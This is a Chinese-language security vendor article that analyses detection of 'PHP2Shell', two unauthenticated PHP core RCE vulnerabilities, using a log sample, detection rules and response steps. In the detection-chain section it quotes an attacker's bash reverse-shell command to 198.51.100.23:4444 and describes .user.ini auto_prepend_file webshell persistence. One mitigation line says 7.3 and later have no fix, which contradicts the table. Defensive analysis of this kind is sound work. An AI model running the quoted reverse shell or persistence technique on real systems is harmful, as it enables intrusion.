PHP2Shell检测与利用分析

PHP2Shell检测与利用分析

SOC Prime Team
SOC Prime Team linkedin icon 关注

检测PHP2Shell很重要,因为从修补漏洞到实际被利用的时间窗口可能只有一天。PHP2Shell是PHP核心中两个未经认证的远程代码执行漏洞的名称,分别是CVE-2026-109618和CVE-2026-109619,均为CVSS v4.0评分9.2。不需要认证,因此任何在未修补版本上曝光的PHP应用都是目标。在下面的示例中,利用表现为PHP工作程序崩溃,随后命令以Web服务器用户身份运行。

本文涵盖了使用LogTotal(一种将事件匹配到已知威胁的日志分析工具)分析日志样本来检测PHP2Shell的问题。下面,我们解释漏洞的背景、日志的来源、LogTotal发现了什么以及如何响应。

PHP2Shell分析

两个PHP2Shell漏洞在CVSS v4.0下评分为9.2,且在任何PHP安装中,无需认证即可触发。正确读取日志样本有助于了解每个bug的工作原理、信息披露的速度以及哪些安装被曝光。

免费开始

PHP2Shell漏洞详情

这两个CVE是PHP处理请求时的独立内存安全漏洞。每一个都允许攻击者以Web服务器用户的身份运行代码。

  • CVE-2026-109618,内存耗尽腐败。 当PHP在请求设置过程中耗尽内存时,内部数据未能完全构建,清理代码随后信任这些数据。
  • CVE-2026-109619,全局状态的停滞。 内部状态比其指向的请求内存存活更久,因此下一个请求同一工作程序接手时可能对残余数据进行操作。

这就是为什么利用表现为PHP“允许的内存大小…耗尽”错误和PHP工作程序崩溃的原因。公用PHP2Shell扫描器寻找相同的信号。

披露和利用时间轴

日期(2026年)事件
10月26日CISA将CVE-2026-109618添加到其KEV目录
10月22日此样本记录的利用发生在web-prod-01
10月21日PHP发布了修补版;watchTowr观察到野外利用
10月20日细节在原计划的10月22日披露前泄露于社交媒体;PHP宣布紧急发布

Calif的研究人员发现了这些漏洞并报告给PHP。泄漏发生在10月20日,这也是为什么LogTotal的链被命名为“泄露的关键PHP漏洞”。几天内,GitHub上已经出现了公共PoC代码和利用框架,并且一个研究工具包报告已验证的命令执行为www-data,从PHP 7.4到8.4之间的低于修补版的构建。

PHP2Shell影响哪些系统

PHP列出了8.5.12、8.4.27、8.3.36和8.2.35之前的每个版本都为易受攻击的,旧的分支也受到影响。

PHP分支受影响的Fix
8.5.x低于8.5.128.5.12
8.4.x低于8.4.278.4.27
8.3.x低于8.3.368.3.36
8.2.x低于8.2.358.2.35
7.4, 8.0, 8.1所有版本没有官方发布;使用分发版或LTS提供商包,PHP的最小源代码backport,或者升级
7.3及更早版本,包括PHP 5所有版本没有修复;升级到支持的分支

每个提供Web请求服务的PHP安装都在范围内,无论它是在PHP-FPM、Apache mod_php、php-cgi、LiteSpeed或FrankenPHP下运行。PHP将风险级别最高评价为Apache mod_php,因为攻击可以在任何应用程序代码运行之前成功。

日志来源和收集

属性值
文件PHP2Shell_sample.jsonl
事件6
主机web-prod-01(Linux生产Web服务器)
时间窗口2026年10月22日,11:31:30到11:31:33 UTC(三秒)
模式ECS样式(@时间戳、事件、主机、进程、文件、用户)

文件将两个来源混合到一个模式中:

  • 2行纯文本 来自PHP运行时和PHP-FPM错误日志
  • 4个事件 (文件和进程),标准化为ECS

这混合的内容典型地到达SIEM:应用程序错误日志与EDR遥测并行。

检测PHP2Shell

LogTotal在4.2秒内处理了6行内容,匹配了9条规则,针对4行并在web-prod-01上形成了一个链: PHP2Shell,泄露的关键PHP漏洞(CVE-2026-109618 & CVE-2026-109619),关键,100%匹配,触发了3条规则。

判定字段结果
判定可疑,需要调查
严重性关键
置信度中等

PHP2Shell链的展开方式

链条在三秒内按三个步骤跟踪了利用。

  1. 崩溃。 规则“可能的CVE-2026-109618 / CVE-2026-109619利用尝试 – PHP内存耗尽 / PHP工作程序崩溃”配对了一个PHP致命“允许内存大小…耗尽”错误和PHP-FPM子程序1201因SIGSEGV终止。这些是公用PHP2Shell扫描器寻找的相同崩溃信号。
  2. 来自Web工作程序的Shell。 “可能的PHP工作程序生成异常进程”和“通过Web服务器的可疑Shell[Linux]”抓住了以www-data身份运行的php-fpm生成的sh -c bash /dev/shm/.s。这脚本被放置在RAM支持的/dev/shm中。
  3. 反向Shell。 “可能的数据外泄/反向Shell通过Bash”匹配bash -i >& /dev/tcp/198.51.100.23/4444 0>& 1。链之外,另外四个规则命中相同的命令,其中以Linux反向Shell指示(关键)为首。

在PHP2Shell分类中使用LogTotal结果

此链在一个屏幕上显示事件的顺序和严重性。原始事件给出了要阻止的IOC和要删除的持久性。使用两个:确认链的三个步骤,然后审查文件事件和命令行以找到IOC和持久性。

PHP2Shell缓解措施

PHP2Shell的最终修复是固定的PHP发布,PHP声明没有配置更改能完全缓解这些漏洞。在已经被入侵的服务器上,修补是不够的:webshell和.user.ini在PHP升级后持续存在。

修补每个PHP安装

  1. 从面向互联网的系统以及以Apache模块运行PHP的系统开始,清点每个运行PHP的服务器和应用程序。
  2. 根据其分支将每个安装更新至8.5.12、8.4.27、8.3.36或8.2.35。Linux发行版在发布前收到补丁,因此请检查更新的分发包。
  3. 重启每个PHP工作程序以便修复生效。
  4. 对于PHP 7.4、8.0和8.1,使用分发版或LTS供应商包或PHP的最小源代码backport,或进行升级。PHP 7.3及更高版本没有修复。
  5. 限制对您无法立即更新的任何PHP系统的互联网访问。

社区跟踪器还报告了CVE-2026-115560,这是一个独立的、配置依赖的会话上传进度向量,被PHP的2026年10月23日信息通告涵盖。它不是PHP2Shell的一部分并留待以后发布;暂时推荐的措施是session.upload_progress.enabled = 0。

LogTotal推荐的响应

  1. 隔离web-prod-01。
  2. 保留其Web、系统和网络日志。
  3. 调查反向Shell的目的地。
  4. 验证PHP版本和修补版。
  5. 警报PHP工作程序未来的崩溃和Shell生成。

原始证据的附加步骤

  1. 阻塞出口 到198.51.100.23:4444。
  2. 在清理前保留证据: 复制uploads/.cache.php、.user.ini和/dev/shm/.s。/dev/shm中的文件在重新启动时丢失。
  3. 移除持久性。 删除auto_prepend_file指令,或者更好的是,在修补的PHP版本上重建主机。
  4. 旋转www-data可以读取的每一个秘密,如数据库凭证和应用程序配置中的API密钥。
  5. 搜寻web舰队 以寻找:
    • .user.ini文件包含auto_prepend_file
    • 上传文件夹中的隐藏PHP文件
    • 由php-fpm、php-cgi、apache2或httpd生成的Shell

持续监控PHP2Shell

保持PHP和PHP-FPM错误日志与EDR遥测一起流向您的SIEM。在此示例中,崩溃行是第一个信号,EDR文件事件则包含了持久性。任何单一来源都只能告诉一半的故事。

FAQ

什么是PHP2Shell,它如何工作?

PHP2Shell是PHP核心中的两个未经认证的远程代码执行漏洞:CVE-2026-109618(内存耗尽腐败)和CVE-2026-109619(全局状态停滞),均为CVSS v4.0评分9.2。任何一个都允许攻击者以Web服务器用户身份运行代码。上面的分析部分解释了每一个工作原理。

PHP2Shell是什么时候首次发现的?

Calif的研究人员报告了这些漏洞给PHP。细节在2026年10月20日泄露,PHP在10月21日也就计划披露提前一天发布了修复版本。

哪些PHP版本受到PHP2Shell的影响?

每个8.5.12、8.4.27、8.3.36和8.2.35之前的版本,加上所有的PHP 7.4、8.0、8.1和更旧的分支,包括PHP 5。任何提供Web请求服务的PHP安装都在范围内,Apache mod_php风险最高。

PHP2Shell对系统的影响是什么?

未经认证的攻击者可以以Web服务器用户身份运行代码。在本示例中,这导致了一个反向Shell至198.51.100.23:4444以及每个通过.user.ini获取的PHP请求上的隐藏Webshell。任何www-data可读取的秘密应该被视为已暴露。

2026年PHP2Shell还能影响我吗?

是的。PHP2Shell被野外利用并在CISA的KEV目录中列出。未经补丁的服务器、没有backport的生命周期结束分支以及其Webshell持久性从未移除的已被攻击的服务器都仍然面临风险。

我如何保护自己免受PHP2Shell的攻击?

升级到已修复的PHP版本并重启每个PHP工作程序;没有配置更改能完全缓解PHP2Shell。然后限制Web服务器出口,旋转Web用户可读取的秘密,并检查上传文件夹和.user.ini文件是否有持久性。缓解部分列出了完整步骤。

我如何检测PHP2Shell?

收集PHP和PHP-FPM错误日志以及EDR进程和文件事件。警报PHP内存耗尽和工作程序崩溃、由php-fpm、php-cgi、apache2或httpd生成的Shell及带有auto_prepend_file的新.user.ini文件。通过LogTotal运行导出将这些事件映射到PHP2Shell链,并在一个视图中显示攻击顺序。

加入 SOC Prime 的 Detection as Code 平台 以提高对与您的业务最相关的威胁的可见性。为了帮助您开始并带来即时价值,现在与 SOC Prime 专家预约会议。